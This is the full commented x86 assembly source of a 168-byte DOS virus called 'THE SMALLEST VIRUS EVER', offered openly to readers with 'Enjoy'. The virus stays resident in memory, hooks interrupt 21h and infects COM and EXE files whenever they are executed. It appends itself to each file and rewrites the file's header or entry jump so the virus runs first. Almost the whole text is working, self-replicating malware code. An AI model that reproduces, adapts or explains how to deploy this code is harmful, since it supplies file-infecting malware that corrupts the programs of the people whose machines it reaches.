;=========================; ; THE SMALLEST VIRUS EVER ; ;-------------------------; ; Made by Super ; ;=========================; ; This is a memory-resident infector of COM & EXE files on execution ; it doesn't reinfect memory or files... AND IT'S 168 BYTES LONG!!! ; I've used the Wolfware Assembler (shareware) ; Enjoy ;-------------------------------------------------------------------------- org 0 vir_start call pop_si ; pop_si ; SI=start of virus pop si ; sub si,3 mov dx,es ; Save ES register cs: ; Calculate program entry segment add [si+30h],dx ; for both EXE & COM sub cx,cx ; mov es,cx ; 0000:0200 to 0000:2D9 --> Hole for the virus mov di,22eh ; (0020:0000 to 0020:001F: header of file) es: ; (0020:002E to 0020:00D9: virus' code) cmp [di],cx ; Test if it's already resident jnz exit ; mov cl,(vir_len+1)/2 ; (CH is already zero) cld ; rep ; Copy the virus to memory cs: ; movsw ; set_int21 mov ax,25h ; es: ; xchg ax,[di+84h-(vir_len+22eh)] ; Save interrupt 21 stosw ; & set it to 0025:0025 cmc ; (=0020:0075) jb set_int21 ; exit mov es,dx ; Restore ES register db 0eah ; jump ; Far jump to the entry point of the program dw 0000h ; (all zeros mean to jump to PSP:0=INT 20) dw 0000h ; infect_exe div word [si+6dh] ; Calculate number of paragraphs ; (si+6dh) points to 0010h contained ; in the instruction: add ax,10h sub ax,[si+8h] ; Adjust for the header size xchg ax,[si+16h] ; Store new CS xchg dx,[si+14h] ; Store new IP add ax,10h ; Adjust for the PSP add byte [si+2h],cl ; Calculate part-page at EOF ; It does not reinfect because ; the carrier flag will be set ; and tested in "write_jump" xchg dx,ax ; AX=old IP jmps write_jump ; DX=old CS int21 push ax ; Save AX register sub ax,4b00h ; Infect on execute jnz exit_int21 ; infect push bx ; Save registers push dx ; (don't need to save CX,SI,DI,BP,ES) push ds ; xchg si,ax ; SI=0000 ; Open file --->BX=handle mov ax,3d92h ; bits 0-2=2--> read & write access int 21h ; bits 4-6=1--> prohibit access by others xchg bx,ax ; bit 7=1--> private for current process mov ah,3fh ; mov cx,20h ; Read first 20h bytes from the file mov ds,cx ; cwd ; (DS:DX=0020:0000) int 21h ; xor cx,ax ; Exit if the file is smaller than 20h bytes jnz close ; mov ax,4202h ; Seek to EOF int 21h ; (CX & DX are already zero) mov cl,vir_len cmp byte [si],'M' ; Test if file is EXE jz infect_exe ; infect_com cmp byte [si],0e9h ; Test if the file starts with a jump jnz close ; dec ax ; dec ax ; (The jump takes 3 bytes) dec ax ; xchg ax,[si+1] ; Store the jump to the virus add ax,103h ; Calculate the offset where the program jumps cmp [si+1],ax ; Test if the file is infected ; (if the jump is 100h bytes before the EOF) write_jump jb close ; Exit if the file is already infected mov [si+5ch],ax ; Store the program entry point mov [si+5eh],dx ; mov dx,2eh ; (0020:002E is the start of the code) mov ah,40h ; Write virus to the end of the file int 21h ; (CX is already the length of the virus) write_hdr mov ax,4200h ; cwd ; Seek to the start of file mov cx,dx ; int 21h ; mov ah,40h ; Write header to file mov cl,18h ; (CH & DX are already zero) int 21h ; close mov ah,3eh ; Close file int 21h ; pop ds ; pop dx ; Restore registers pop bx ; exit_int21 pop ax ; Restore AX register db 0eah ; Far jump to old interrupt 21 vir_end vir_len equ offset vir_end - offset vir_start ;--------------------------------------------------------------------------